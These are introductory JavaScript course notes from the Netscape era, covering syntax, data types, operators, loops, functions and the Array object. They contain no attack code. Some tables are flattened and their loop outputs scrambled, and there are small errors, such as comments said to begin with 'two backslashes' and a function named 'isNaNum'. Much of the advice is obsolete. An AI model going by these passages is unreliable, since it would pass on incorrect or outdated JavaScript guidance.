Javascript Notes
Javascript Notes
Javascript Notes
1 BASIC CONCEPTS What is JavaScript? JavaScript is Netscape's cross-platform, object-based scripting language for client and server applications. Types of JavaScript: Brief History Netscape Communications developed two related scripting languages in November 1995 as LiveWire and LiveScript. In December the same year Netscape Communications and Sun Microsystems (creators of Java) jointly renamed LiveScript as JavaScript. Microsoft developed its own related scripting language and named it Jscript. Presently there are two types of JavaScript: i) Navigator JavaScript, also called client-side JavaScript Client-side JavaScript is interpreted by a the Navigator run-time machine ii) Livewire JavaScript, also called server-side JavaScript LiveWire is an application development environment that uses JavaScript for creating server-based applications similar to CGI (Common Gateway Interface) programs. In contrast to Navigator JavaScript, LiveWire JavaScript applications are compiled into bytecode executable files. Features of JavaScript JavaScript: - Is a scripting language i.e. a lightweight programming language with simpler syntax - Is an interpreted language i.e. scripts execute w/o preliminary compilation - Is the most popular scripting language i.e. supported by all the major browsers such as Netscape and IE Uses of JavaScript Navigator JavaScript was designed to add interactivity to HTML pages. Specifically, JavaScript: - Gives HTML designers a programming tool. - Can put dynamic text into a HTML page - Can react to events - Can read, write and change the contents of a HTML element - Can be used to validate form data before it is submitted to a server, saving the server extra processing Versions of JavaScript: Each version of Navigator supports a different version of JavaScript. To help you write scripts that are compatible with multiple versions of Navigator, this manual lists the JavaScript version in which each feature was implemented. The following table lists the JavaScript version supported by different Navigator versions. Versions of Navigator prior to 2.0 do not support JavaScript.
Navigator version Navigator 2.0 Navigator 3.0 Navigator 4.04.05 Navigator 4.064.5
JavaScript 1.3
Each version of the Netscape Enterprise Server also supports a different version of JavaScript. To help you write scripts that are compatible with multiple versions of the Enterprise Server, this manual uses an abbreviation to indicate the server version in which each feature was implemented. Abbreviat Enterpriser Server ion version NES 2.0 Netscape Enterprise Server 2.0 Netscape Enterprise Server 3.0
NES 3.0
Compatible browsers: The browsers and browser versions can execute JavaScript code: - IE 3.0 and later versions - Netscape Navigator 2.0 and later versions - Opera - Mozilla (Open source browser) - Safari (for Macintosh O/S) 1.2 JAVASCRIPT AND JAVA JavaScript and Java are similar in some ways but fundamentally different in others. The following table summarizes the fundamental distinctions between the two languages. JavaScript Interpreted (not compiled) by client. Object-based. Uses built-in, extensible objects, but no classes or inheritance. Code integrated with, and embedded in, Java Compiled bytecodes downloaded from server, executed on client. Object-oriented. Applets consist of object classes with inheritance. Applets distinct from HTML
HTML. Variable data types not declared (loose typing). Dynamic binding. Object references checked at runtime.
(accessed from HTML pages). Variable data types must be declared (strong typing). Static binding. Object references must exist at compile-time.
html, xhtml, dhtml CSS: A style sheet defines the layout, colours, fonts and other visual characteristics for presenting the contents on a web page. This eliminates a lot of attribute information inside HTML/XHTML/DHTML tags Plug-ins: Are independent applications embedded in browsers to assist in the viewing of information of diverse formats on client computers. Different plugins exist for different file formats. The most commonly available plug-ins are: Adobe Acrobat Reader, Flash (Macromedia Corporation) Java Applets: are small programs that are meant to run on a page in a Web browser.
2. SCRIPTING 2.1 BASIC SCRIPTING CONCEPTS What You Should Already Know This course assumes you have the following basic background:
A general understanding of the Internet and the World Wide Web (WWW). Good working knowledge of HyperText Markup Language (HTML). Some programming experience with a language such as C or Visual Basic is useful, but not required.
Where to Put the JavaScript JavaScript in a page will be executed immediately while the page loads into the browser. This is not always what we want. Sometimes we want to execute a script when a page loads, other times when a user triggers an event. Scripts in the head section: Scripts to be executed when they are called, or when an event is triggered, go in the head section. When you place a script in the head section, you will ensure that the script is loaded before anyone uses it. <html> <head> <script type="text/javascript"> .... </script> </head>
Scripts in the body section: Scripts to be executed when the page loads go in the body section. When you place a script in the body section it generates the content of the page. <html> <head> </head> <body> <script type="text/javascript"> .... </script> </body> Using an External JavaScript Sometimes you might want to run the same JavaScript on several pages, without having to write the same script on every page. To simplify this, you can write a JavaScript in an external file. Save the external JavaScript file with a .js file extension. Note: The external script cannot contain the <script> tag! To use the external script, point to the .js file in the "src" attribute of the <script> tag: Note: Remember to place the script exactly where you normally would write the script! <html> <head> <script src="xxx.js"></script> </head> <body> </body> </html> Using the SCRIPT tag The <SCRIPT> tag is an extension to HTML that can enclose any number of JavaScript statements as shown here: <SCRIPT> JavaScript statements... </SCRIPT> A document can have multiple SCRIPT tags, and each can enclose any number of JavaScript statements. Specifying the Scripting Language Accomplished using the type attribute of the script tag with the value being the name of the scripting language in use. <html> <body> <script type="text/javascript"> document.write("Hello World!") </script> </body> </html> Ending Statements with a Semicolon? With traditional programming languages, like C++ and Java, each code statement has to end with a semicolon.
Many programmers continue this habit when writing JavaScript, but in general, semicolons are optional! However, semicolons are required if you want to put more than one statement on a single line. Specifying the JavaScript version The optional LANGUAGE attribute specifies the scripting language and JavaScript version: <SCRIPT LANGUAGE="JavaScriptVersion"> JavaScript statements... </SCRIPT> JavaScriptVersion specifies one of the following to indicate which version of JavaScript your code is written for: <SCRIPT LANGUAGE="JavaScript"> specifies JavaScript for Navigator 2.0. <SCRIPT LANGUAGE="JavaScript1.1"> specifies JavaScript for Navigator 3.0. Statements within a <SCRIPT> tag are ignored if the user's browser does not have the level of JavaScript support specified in the LANGUAGE attribute; for example:
-
Navigator 2.0 executes code within the <SCRIPT LANGUAGE="JavaScript"> tag; it ignores code within the <SCRIPT LANGUAGE="JavaScript1.1"> tag. - Navigator 3.0 executes JavaScript code within either the <SCRIPT LANGUAGE="JavaScript"> or <SCRIPT LANGUAGE="JavaScript1.1"> tags. If the LANGUAGE attribute is omitted, Navigator 2.0 assumes LANGUAGE="JavaScript". Navigator 3.0 assumes LANGUAGE="JavaScript1.1" Hiding scripts within comment tags (From older browsers) Only Netscape Navigator versions 2.0 and later recognize JavaScript. To ensure that other browsers ignore JavaScript code, place the entire script within HTML comment tags, and precede the ending comment tag with a double-slash (//) that indicates a JavaScript single-line comment: <SCRIPT> <!-- Begin to hide script contents from old browsers. JavaScript statements... // End the hiding here. --> </SCRIPT> Since browsers typically ignore unknown tags, non-JavaScript-capable browsers will ignore the beginning and ending SCRIPT tags. Specifying a file of JavaScript code The SRC attribute of the <SCRIPT> tag lets you specify a file as the JavaScript source (rather than embedding the JavaScript in the HTML). The source file cannot contain the <SCRIPT> tag and must be saved as a .js file. For example: <HEAD> <TITLE>My Page</TITLE> <SCRIPT SRC="common.js"> ... </SCRIPT> </HEAD>
<BODY> ... This attribute is especially useful for sharing functions among many different pages. The closing </SCRIPT> tag is required. Using JavaScript expressions as HTML attribute values Using JavaScript entities, you can specify a JavaScript expression as the value for an HTML attribute. Entity values are evaluated dynamically. This allows you to create more flexible HTML constructs, because the attributes of one HTML element can depend on information about elements placed previously on the page. You may already be familiar with HTML character entities by which you can define characters with special numerical codes or names by preceding the name with an ampersand (&) and terminating it with a semicolon (;). For example, you can include a greater-than symbol (>) with the character entity > and a less-than symbol (<) with <. JavaScript entities also start with an ampersand (&) and end with a semicolon (;). Instead of a name or number, you use a JavaScript expression enclosed in curly braces {}. You can use JavaScript entities only where an HTML attribute value would normally go. For example, suppose you define a variable barWidth. You could create a horizontal rule with the specified percentage width as follows: <HR WIDTH="&{barWidth};%" ALIGN="LEFT"> Specifying alternate content with the NOSCRIPT tag Use the <NOSCRIPT> tag to specify alternate content for browsers that do not support JavaScript. HTML enclosed within a <NOSCRIPT> tag is displayed by browsers that do not support JavaScript; code within the tag is ignored by Navigator. Note however, that if the user has disabled JavaScript by choosing Network Preferences from the Options menu, Navigator displays the code within the <NOSCRIPT> tag. The following example shows a <NOSCRIPT> tag. <NOSCRIPT> <B>This page uses JavaScript, so you need to get Netscape Navigator 2.0 or later! <BR> <A HREF="http://home.netscape.com/comprod/mirror/index.html"> <IMG SRC="NSNow.gif"></A> If you are using Navigator 2.0 or later, and you see this message, you should enable JavaScript by choosing Network Preferences from the Options menu. </NOSCRIPT> Comments Despite the fact that comments are purely optional, they can easily be a crucial part of your program. Comments can explain the action, like a color commentary, which can be a great help in understanding the code. Whether as a teaching tool or to simply remind yourself what the code does, comments are best sprinkled liberally throughout a program. Remember, comments are for humans, so write them that way! Comments can also be used for debugging -- you can comment "out" sections of code to prevent them from being executed. In doing so you may learn more about why a certain problem is occurring in your program.
Because JavaScript must ignore comments, there is an appropriate syntax for demarcating text as a comment. For single line comments, simply precede the line with two backslashes. For multi-line comment blocks, begin the comment with /* and close with */. //A lonely ol' single line comment /* A dense thicket of commentary, spanning many captivating lines of explanation and intrigue. */ 2.2 JAVASCRIPT: THE LANGUAGE 2.2.1 Fundamentals Lexical Structure The lexical structure of a programming language is the set of elementary rules that specify how you write a program. It is the lowest level syntax of a language and specifies such things as what identifier names look like. Some of the basic rules for JavaScript are: JavaScript is case sensitive. Whitespace, tabs, and newline characters are ignored except when part of string constants. Whitespace can be added as needed for readability. Block comments begin with /* and end with */ [preferred over single liners] Single line comments begin with // Identifiers are names for variables, functions and loop labels. The first character must be an ASCII letter, underscore or dollar sign. Following characters can also include digits. Letters are A to Z and a to z. Reserved words (or keywords) have special meanings within the language syntax. Statements terminate in semicolons! Make sure to always terminate statements with a semicolon. Java Script Elements JavaScript code, much like other programming languages, is made up of statements that serve to make assignments, compare values, and execute other sections of code. By and large, programmers will already be familiar with JavaScript's usage of variables, operators, and statements. Below is a chart summarizing the main elements of JavaScript grammar. Variable s Operato rs Expressi ons Stateme nts Objects Functio ns and Method s Labels that refer to a changeable value. Actors that can be used to calculate or compare values. Any combination of variables, operators, and statements that evaluate to some result. As in English, a statement pulls all grammatical elements together into a full thought. JavaScript statements may take the form of conditionals, loops, or object manipulations. Containing constructs that possess a set of values, each value reflected into an individual property of that object. A function is a discrete set of statements that perform some specific action. A method is a function used with objects.
2.2.2 Data Types A value, the data assigned to a variable, may consist of any sort of data. However, JavaScript considers data to fall into several possible types. Depending on the type of data, certain operations may or may not be performed on the values. For example, you
cannot arithmetically multiply two string values. Variables can be these types: Numb ers Booleans 3 or 7.987, Integer and floating-point numbers. Integers can be positive, 0, or negative. True or False. The possible Boolean values are true and false. These are special values, and are not usable as 1 and 0. In a comparison, any expression that evaluates to 0 is taken to be false, and any statement that evaluates to a number other than 0 is taken to be true. "Hello World!" Strings are delineated by single or double quotation marks. (Use single quotes to type strings that contain quotation marks.) Used to create user-defined objects. E.g. myObj = new Object(); Not the same as zero - no value at all. A null value is one that has no value and means nothing. A value that is undefined is a value held by a variable after it has been created, but before a value has been assigned to it.
JavaScript is a loosely typed language -- you do not have to specify the data type of a variable when you declare it, and data types are converted automatically as needed during script execution. By and large, you may simply assign any type of data to any variable. The only time data-typing matters is when you need to perform operations on the data. Certain operators behave differently depending on the type of data being deal with. For example, consider the + operator: "5" + "10" 5 + 10 Data Type Conversion JavaScript is a dynamically typed language. That means you do not have to specify the data type of a variable when you declare it, and data types are converted automatically as needed during script execution. So, for example, you could define a variable as follows: var answer = 42 And later, you could assign the same variable a string value, for example, answer = "Thanks for all the fish..." Because JavaScript is dynamically typed, this assignment does not cause an error message. In expressions involving numeric and string values with the + operator, JavaScript converts numeric values to strings. For example, consider the following statements: x = "The answer is " + 42 // returns "The answer is 42" y = 42 + " is the answer" // returns "42 is the answer" In statements involving other operators, JavaScript does not convert numeric values to strings. For example: "37" - 7 // returns 30 "37" + 7 // returns 377 2.2.3 Reserved words, Variables,Literals/ Constants and Identifiers Reserved Words Reserved words in this list cannot be used as JavaScript variables, functions, methods, or object names. Some of these words are keywords used in JavaScript; others are reserved for future use. yields yields "510" (string concatenation) 15 (arithmetic sum)
abstrac t boolea n break byte case catch char class const continu e debugg er default delete do double
else enum export extends false final finally float for function goto if impleme nts import in
instance of int interfac e long native new null package private protecte d public return short static super
switch synchroniz ed this throw throws transient true try typeof var void volatile while with
Literals /Constants You use literals to represent values in JavaScript. These are fixed values, not variables, that you literally provide in your script. This section describes the following types of literals: Array Literals An array literal is a list of zero or more expressions, each of which represents an array element, enclosed in square brackets ([]). When you create an array using an array literal, it is initialized with the specified values as its elements, and its length is set to the number of arguments specified. The following example creates the coffees array with three elements and a length of three: coffees = ["French Roast", "Columbian", "Kona"] If an array is created using a literal in a top-level script, JavaScript interprets the array each time it evaluates the expression containing the array literal. In addition, a literal used in a function is created each time the function is called. Array literals are also Array objects. Extra Commas in Array Literals You do not have to specify all elements in an array literal. If you put two commas in a row, the array is created with spaces for the unspecified elements. The following example creates the fish array: fish = ["Lion", , "Angel"] This array has two elements with values and one empty element (fish[0] is "Lion", fish[1] is undefined, and fish[2] is "Angel"): If you include a trailing comma at the end of the list of elements, the comma is ignored. In the following example, the length of the array is three. There is no myList[3]. All other commas in the list indicate a new element. myList = ['home', , 'school', ]; In the following example, the length of the array is four, and myList[0] is missing. myList = [ , 'home', , 'school']; In the following example, the length of the array is four, and myList[3] is missing. Only the last comma is ignored. This trailing comma is optional.
myList = ['home', , 'school', , ]; Boolean Literals The Boolean type has two literal values: true and false. Do not confuse the primitive Boolean values true and false with the true and false values of the Boolean object. The Boolean object is a wrapper around the primitive Boolean data type. Floating-Point Literals A floating-point literal can have the following parts:
A decimal integer A decimal point (".") A fraction (another decimal number) An exponent
The exponent part is an "e" or "E" followed by an integer, which can be signed (preceded by "+" or "-"). A floating-point literal must have at least one digit and either a decimal point or "e" (or "E"). Some examples of floating-point literals are 3.1415, -3.1E12, .1e12, and 2E-12 Integers Integers can be expressed in decimal (base 10), hexadecimal (base 16), and octal (base 8). A decimal integer literal consists of a sequence of digits without a leading 0 (zero). A leading 0 (zero) on an integer literal indicates it is in octal; a leading 0x (or 0X) indicates hexadecimal. Hexadecimal integers can include digits (0-9) and the letters a-f and A-F. Octal integers can include only the digits 0-7. Some examples of integer literals are: 42, 0xFFF, and -345. Object Literals An object literal is a list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}). You should not use an object literal at the beginning of a statement. This will lead to an error. The following is an example of an object literal. The first element of the car object defines a property, myCar; the second element, the getCar property, invokes a function (Cars("honda")); the third element, the special property, uses an existing variable (Sales). var Sales = "Toyota"; function CarTypes(name) { if(name == "Honda") return name; else return "Sorry, we don't sell " + name + "."; } car = {myCar: "Saturn", getCar: CarTypes("Honda"), special: Sales} document.write(car.myCar); // Saturn document.write(car.getCar); // Honda document.write(car.special); // Toyota Additionally, you can use an index for the object, the index property (for example, 7), or nest an object inside another. The following example uses these options. These features, however, may not be supported by other ECMA-compliant browsers. car = {manyCars: {a: "Saab", b: "Jeep"}, 7: "Mazda"} document.write(car.manyCars.b); // Jeep document.write(car[7]); // Mazda
String Literals A string literal is zero or more characters enclosed in double (") or single (') quotation marks. A string must be delimited by quotation marks of the same type; that is, either both single quotation marks or both double quotation marks. The following are examples of string literals:
You can call any of the methods of the String object on a string literal value--JavaScript automatically converts the string literal to a temporary String object, calls the method, then discards the temporary String object. You can also use the String.length property with a string literal. You should use string literals unless you specifically need to use a String object. Using Special Characters in Strings In addition to ordinary characters, you can also include special characters in strings, as shown in the following example. "one line \n another line" The following table lists the special characters that you can use in JavaScript strings. Table 2.1 JavaScript special characters Charact Meaning er \b \f \n \r \t \' \" \\ \XXX Backspace Form feed New line Carriage return Tab Apostrophe or single quote Double quote Backslash character (\) The character with the Latin-1 encoding specified by up to three octal digits XXX between 0 and 377. For example, \251 is the octal sequence for the copyright symbol. The character with the Latin-1 encoding specified by the two hexadecimal digits XX between 00 and FF. For example, \xA9 is the hexadecimal sequence for the copyright symbol. The Unicode character specified by the four hexadecimal digits XXXX. For example, \u00A9 is the Unicode sequence for the copyright symbol.
\xXX
\uXXXX
Escaping Characters For characters not listed in Table 2.1, a preceding backslash is ignored, with the exception of a quotation mark and the backslash character itself.
You can insert a quotation mark inside a string by preceding it with a backslash. This is known as escaping the quotation mark. For example, var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service." document.write(quote) The result of this would be He read "The Cremation of Sam McGee" by R.W. Service. To include a literal backslash inside a string, you must escape the backslash character. For example, to assign the file path c:\temp to a string, use the following: var home = "c:\\temp" Variables Variables are temporary data holders. Variable names (or identifiers): Must begin with a letter, underscore or dollarsign, use ASCII characters and underscore only. are case sensitive. They can not be one of the JavaScript reserved words. Variables are declared with the reserved word var. At the same time variables are declared they may or may not be assigned or take on a value of boolean, numeric or string type. JavaScript is said to be a loosely typed language as the variable can take on a different type later in the script depending on its 'assigned' value. Variables have scope, ie. they are either global (defined outside any function) or local to the function they are defined within). var name; /* variable created but undefined */ var signal_flag = true; /* boolean */ var counter = 1; /* numeric */ var first_name = 'fred'; /* string using single quotes */ var last_name = "fred"; /* string using double quotes */ Identifiers 2.2.5 JavaScript Operators Operators are actions that manipulate, combine or compare variables. They fall into several categories as follows:
Arithmetic Operators Operator + Description Addition Example x=2 y=2 x+y x=5 y=2 x-y x=5 y=4 x*y 15/5 Result 4
Subtraction
Multiplication
20
Division
++ --
Increment Decrement
Assignment/Compound Operators Operator = += -= *= /= %= Example x=y x+=y x-=y x*=y x/=y x%=y Is The Same As x=y x=x+y x=x-y x=x*y x=x/y x=x%y
Comparison Operators Operator == === Description is equal to is equal to (checks for both value and type) Example 5==8 returns false x=5 y="5" x= =y returns true x= = =y returns false != > < >= <= is is is is is not equal greater than less than greater than or equal to less than or equal to 5!=8 returns true 5>8 returns false 5<8 returns true 5>=8 returns false 5<=8 returns true
Logical Operators Operator && || ! Description and or not Example x=6 or y=3 or (x < 10 && y > 1) returns true x=6 or y=3 or (x==5 || y==5) returns false x=6 or y=3 or !(x==y) returns true
Concatenation (String) Operator A string is most often text, for example "Hello World!". To stick two or more string variables together, use the + operator. txt1="What a very"
Conditional Operator JavaScript also contains a conditional operator that assigns a value to a variable based on some condition. Syntax variablename=(condition)?value1:value2 Example greeting=(visitor=="PRES")?"Dear President ":"Dear " If the variable visitor is equal to PRES, then put the string "Dear President " in the variable named greeting. If the variable visitor is not equal to PRES, then put the string "Dear " into the variable named greeting. Others:
Typeof: typeof Object specific: new, delete Void: void [returns undefined regardless of expression]
Statements and Expressions Statements define the flow of a script, known as "program flow." A statement, like a fully grammatical English sentence, is made up of smaller expressions which, altogether, evaluate into a cogent meaning. In JavaScript, statements are organized as either conditionals, loops, object manipulations, and comments. Good practice suggests that each JavaScript statements should be terminated with a semicolon (;). This is often not strictly necessary, as a new line also serves to separate statements, but when multiple statements reside on the same line the semicolon delimiter is mandatory. A set of statements that is surrounded by braces is called a block. Blocks of statements are used, for example, in functions and conditionals. Normally statements are executed sequentially: x = 1; y = 2; z = x + y; but this can be altered by some statements which test a condition and branch or loop according to the result.
3. CONTROL FLOW Control flow statements are known as control structures. Control structures serve to direct the order of statement execution in a program. Java Script defines the following classes of control structures:
3.1 Conditional/ Selection/ Decision Statements Very often when you write code, you want to perform different actions for different decisions. You can use conditional statements in your code to do this. In JavaScript we have the following conditional statements: If Statement You should use the if statement if you want to execute some code only if a specified condition is true. Syntax if (condition) { code to be executed if condition is true } Example 1 <script type="text/javascript"> //Write a "Good morning" greeting if //the time is less than 10 var d=new Date() var time=d.getHours() if (time<10) { document.write("<b>Good morning</b>") } </script> If...else Statement If you want to execute some code if a condition is true and another code if the condition is not true, use the if....else statement. Syntax if (condition) { code to be executed if condition is true } else { code to be executed if condition is not true } Example <script type="text/javascript"> //If the time is less than 10, //you will get a "Good morning" greeting. //Otherwise you will get a "Good day" greeting. var d = new Date() var time = d.getHours() if (time < 10) { document.write("Good morning!") }
else { document.write("Good day!") } </script> If...else if...else Statement You should use the if....else if...else statement if you want to select one of many sets of lines to execute. Syntax if (condition1) { code to be executed if condition1 is true } else if (condition2) { code to be executed if condition2 is true } else { code to be executed if condition1 and condition2 are not true } Example <script type="text/javascript"> var d = new Date() var time = d.getHours() if (time<10) { document.write("<b>Good morning</b>") } else if (time>10 && time<16) { document.write("<b>Good day</b>") } else { document.write("<b>Hello World!</b>") } </script> The JavaScript Switch Statement You should use the switch statement if you want to select one of many blocks of code to be executed. Syntax switch(n) { case 1: execute code block 1 break
case 2: execute code block 2 break default: code to be executed if n is different from case 1 and 2 } This is how it works: First we have a single expression n (most often a variable), that is evaluated once. The value of the expression is then compared with the values for each case in the structure. If there is a match, the block of code associated with that case is executed. Use break to prevent the code from running into the next case automatically. Example <script type="text/javascript"> //You will receive a different greeting based //on what day it is. Note that Sunday=0, //Monday=1, Tuesday=2, etc. var d=new Date() theDay=d.getDay() switch (theDay) { case 5: document.write("Finally Friday") break case 6: document.write("Super Saturday") break case 0: document.write("Sleepy Sunday") break default: document.write("I'm looking forward to this weekend!") } </script> 3.2 Loops/ Repetitions/ Iterations Very often when you write code, you want the same block of code to run over and over again in a row. Instead of adding several almost equal lines in a script we can use loops to perform a task like this. In JavaScript there is two different kind of loops:
for - loops through a block of code a specified number of times while - loops through a block of code while a specified condition is true
The for Loop The for loop is used when you know in advance how many times the script should run. Syntax for (var=startvalue;var<=endvalue;var=var+increment) { code to be executed } Example
Explanation: The example below defines a loop that starts with i=0. The loop will continue to run as long as i is less than, or equal to 10. i will increase by 1 each time the loop runs. Note: The increment parameter could also be negative, and the <= could be any comparing statement. <html> <body> <script type="text/javascript"> var i=0 for (i=0;i<=10;i++) { document.write("The number is " + i) document.write("<br />") } </script> </body> </html> Result The number is 0 The number is 4 The number is 8 The number is 1 The number is 5 The number is 9 The number is 2 The number is 6 The number is 10 The number is 3 The number is 7 The while loop The while loop is used when you want the loop to execute and continue executing while the specified condition is true. while (var<=endvalue) { code to be executed } Note: The <= could be any comparing statement. Example Explanation: The example below defines a loop that starts with i=0. The loop will continue to run as long as i is less than, or equal to 10. i will increase by 1 each time the loop runs. <html> <body> <script type="text/javascript"> var i=0 while (i<=10) { document.write("The number is " + i) document.write("<br />") i=i+1 } </script> </body> </html> Result The number is 0 The number is 4 The number is 8 The number is 1 The number is 5 The number is 9 The number is 2 The number is 6 The number is 10 The number is 3 The number is 7
The do...while Loop The do...while loop is a variant of the while loop. This loop will always execute a block of code ONCE, and then it will repeat the loop as long as the specified condition is true. This loop will always be executed once, even if the condition is false, because the code are executed before the condition is tested. do { code to be executed } while (var<=endvalue) Example <html> <body> <script type="text/javascript"> var i=0 do { document.write("The number is " + i) document.write("<br />") i=i+1 } while (i<0) </script> </body> </html> Result The number is 0 3.3 Jump/ Branching Statements Break The break command will break the loop and continue executing the code that follows after the loop (if any). Example <html> <body> <script type="text/javascript"> var i=0 for (i=0;i<=10;i++) { if (i==3){break} document.write("The number is " + i) document.write("<br />") } </script> </body> </html> Result The number is 0 The number is 1 The number is 2
Continue The continue command will break the current loop and continue with the next value. Example <html> <body> <script type="text/javascript"> var i=0 for (i=0;i<=10;i++) { if (i==3){continue} document.write("The number is " + i) document.write("<br />") } </script> </body> </html> Result The number is 0 The number is 5 The number is 9 The number is 1 The number is 6 The number is 10 The number is 2 The number is 7 The number is 4 The number is 8
4. JAVASCRIPT POPUP BOXES In JavaScript we can create three kinds of popup boxes: Alert box, Confirm box, and Prompt box. Alert Box An alert box is often used if you want to make sure information comes through to the user. When an alert box pops up, the user will have to click "OK" to proceed. Syntax: alert("sometext")
Confirm Box A confirm box is often used if you want the user to verify or accept something. When a confirm box pops up, the user will have to click either "OK" or "Cancel" to proceed. If the user clicks "OK", the box returns true. If the user clicks "Cancel", the box returns false. Syntax: confirm("sometext")
Prompt Box A prompt box is often used if you want the user to input a value before entering a page.
When a prompt box pops up, the user will have to click either "OK" or "Cancel" to proceed after entering an input value. If the user clicks "OK" the box returns the input value. If the user clicks "Cancel" the box returns null. Syntax: prompt("sometext","defaultvalue")
5. FUNCTIONS 5.1 Introduction To keep the browser from executing a script as soon as the page is loaded, you can write your script as a function. A function contains some code that will be executed only by an event or by a call to that function. You may call a function from anywhere within the page (or even from other pages if the function is embedded in an external .js file). Importance of using functions There are 2 main categories of functions in Java Script programming: 5.2 Built-In Functions In order to help the programmer, JavaScript includes several useful built-in functions. Their names and usage follows: escape() Many special characters cause problems when submitting information to a 0CGI server. These characters include $ # ! spaces and tabs. An example of a safely encoded string is coded = escape('& '). [returns "%26%20"]. See also unescape. Evaluates a string and returns a numeric value. An example is eval(x) + eval(y); If x and y are strings '1' and '2' the result is three. Without the eval function the value would be 12! Tests whether the variable is a finite number. Returns false if contents is not a number or is infinite. An example of usage is flag = isFinite(var_name); Tests whether the variable is not a number. Returns true if contents is not a decimal based number. An example of usage is flag = isNaNum(var_name);
eval()
isFinite()
isNaN()
Number() Converts the object argument to a number representing the object's value. If the value cannot be represented by a legitimate number, the "Not-a-Number" value, NaN is returned. Note the inconsistency in case!! parseFloa Turns a string into a floating-point number. If the first character can't t() be converted the result is NaN. Otherwise the conversion stops at first character that can't be converted. The function is decimal base only! an example of usage is n = parseFloat('23.45');
parseInt( Turns a string into an integer number. If the first character can't be ) converted the result is NaN. Otherwise the conversion stops at first character that can't be converted. If a second parameter is included, the numeric base can be binary, octal, decimal or hexadecimal. An example is n = parseInt('55'); which places the number 55 into the variable n. unescape Recovers an escaped string. An example is decoded = () unescape('%26%20') [returns "& "]. new Creates a copy or instance of an object for use or modification within a program. For example now = new Date; creates a Date object called now that can be affected by all the Date properties and methods. Technically new is an operator but it works very much like a function! A shorthand convention to allow working with the current object method without naming it. This is used to save retyping a method name. A shorthand convention to allow working with the current object without naming it. This is used to save retyping a long object name. An example is: with (document) { writeln(lastmodified); writeln(location); writeln(title); }
this
with
5.3 User-Defined functions A function is a JavaScript procedure--a set of statements that performs a specific task. A function definition has these basic parts:
The function keyword. A function name. A comma-separated list of arguments to the function in parentheses. The statements in the function in curly braces.
User-defined functions are defined at the beginning of a page, in the <head> section. How to Define a Function The syntax for creating a function is: function functionname(var1,var2,...,varX) { some code } var1, var2, etc are variables or values passed into the function. The { and the } defines the start and end of the function. Note: A function with no parameters must include the parentheses () after the function name:
function functionname() { some code } Note: Do not forget about the importance of capitals in JavaScript! The word function must be written in lowercase letters, otherwise a JavaScript error occurs! Also note that you must call a function with the exact same capitals as in the function name. The return Statement The return statement is used to specify the value that is returned from the function. So, functions that are going to return a value must use the return statement. Example The function below should return the product of two numbers (a and b): function prod(a,b) { x=a*b return x }
calling functions When you call the function above, you must pass along two parameters: product=prod(2,3) The returned value from the prod() function is 6, and it will be stored in the variable called product. Example <html> <head> <script type="text/javascript"> function displaymessage() { alert("Hello World!") } </script> </head> <body> <form> <input type="button" value="Click me!" onclick="displaymessage()" > </form> </body> </html> If the line: alert("Hello world!!"), in the example above had not been written within a function, it would have been executed as soon as the line was loaded. Now, the script is not executed before the user hits the button. We have added an onClick event to the button that will execute the function displaymessage() when the button is clicked. You will learn more about JavaScript events in the JS Events chapter.
Example 2 <HEAD> <SCRIPT LANGUAGE="JavaScript"> <!-- Hide script from old browsers function square(number) { return number * number } // End script hiding from old browsers --> </SCRIPT> </HEAD> <BODY> <SCRIPT> document.write("The function returned ", square(5), ".") </SCRIPT> <P> All done. </BODY> 6. JAVASCRIPT OBJECTS 6.1 Object Technology JavaScript is an Object based Programming (OOP) language. An OOP language allows you to define your own objects and make your own variable types. An object is just a special kind of data, with a collection of properties and methods. Let's illustrate with an example: A person is an object. Properties are the values associated with the object. The persons' properties include name, height, weight, age, skin tone, eye color, etc. All persons have these properties, but the values of those properties will differ from person to person. Objects also have methods. Methods are the actions that can be performed on objects. The persons' methods could be eat(), sleep(), work(), play(), etc. Properties The syntax for accessing a property of an object is: objName.propName You can add properties to an object by simply giving it a value. Assume that the personObj already exists - you can give it properties named firstname, lastname, age, and eyecolor as follows: personObj.firstname="John" personObj.lastname="Doe" personObj.age=30 personObj.eyecolor="blue" document.write(personObj.firstname) The code above will generate the following output: John Methods An object can also contain methods. You can call a method with the following syntax: objName.methodName() Note: Parameters required for the method can be passed between the parentheses. To call a method called sleep() for the personObj:
personObj.sleep()
6.2 Built-in Objects Array Object JavaScript does not have an explicit array data type. However, you can use the predefined Array object and its methods to work with arrays in your applications. The Array object has methods for manipulating arrays in various ways, such as joining, reversing, and sorting them. It has a property for determining the array length and other properties for use with regular expressions. An array is an ordered set of values that you refer to with a name and an index. For example, you could have an array called emp that contains employees' names indexed by their employee number. So emp[1] would be employee number one, emp[2] employee number two, and so on. Creating an Array To create an Array object: 1. arrayObjectName = new Array(element0, element1, ..., elementN) 2. arrayObjectName = new Array(arrayLength) arrayObjectName is either the name of a new object or a property of an existing object. When using Array properties and methods, arrayObjectName is either the name of an existing Array object or a property of an existing object. element0, element1, ..., elementN is a list of values for the array's elements. When this form is specified, the array is initialized with the specified values as its elements, and the array's length property is set to the number of arguments. arrayLength is the initial length of the array. The following code creates an array of five elements: billingMethod = new Array(5) Array literals are also Array objects; for example, the following literal is an Array object. See "Array Literals" on page 37 for details on array literals. coffees = ["French Roast", "Columbian", "Kona"] Populating an Array You can populate an array by assigning values to its elements. For example, emp[1] = "Casey Jones" emp[2] = "Phil Lesh" emp[3] = "August West" You can also populate an array when you create it: myArray = new Array("Hello", myVar, 3.14159) Referring to Array Elements You refer to an array's elements by using the element's ordinal number. For example, suppose you define the following array: myArray = new Array("Wind","Rain","Fire") You then refer to the first element of the array as myArray[0] and the second element of the array as myArray[1]. The index of the elements begins with zero (0), but the length of array (for example, myArray.length) reflects the number of elements in the array. Array Methods The Array object has the following methods:
join joins all elements of an array into a string. pop removes the last element from an array and returns that element. push adds one or more elements to the end of an array and returns that last element added. reverse transposes the elements of an array: the first array element becomes the last and the last becomes the first. shift removes the first element from an array and returns that element slice extracts a section of an array and returns a new array. splice adds and/or removes elements from an array. sort sorts the elements of an array. unshift adds one or more elements to the front of an array and returns the new length of the array.
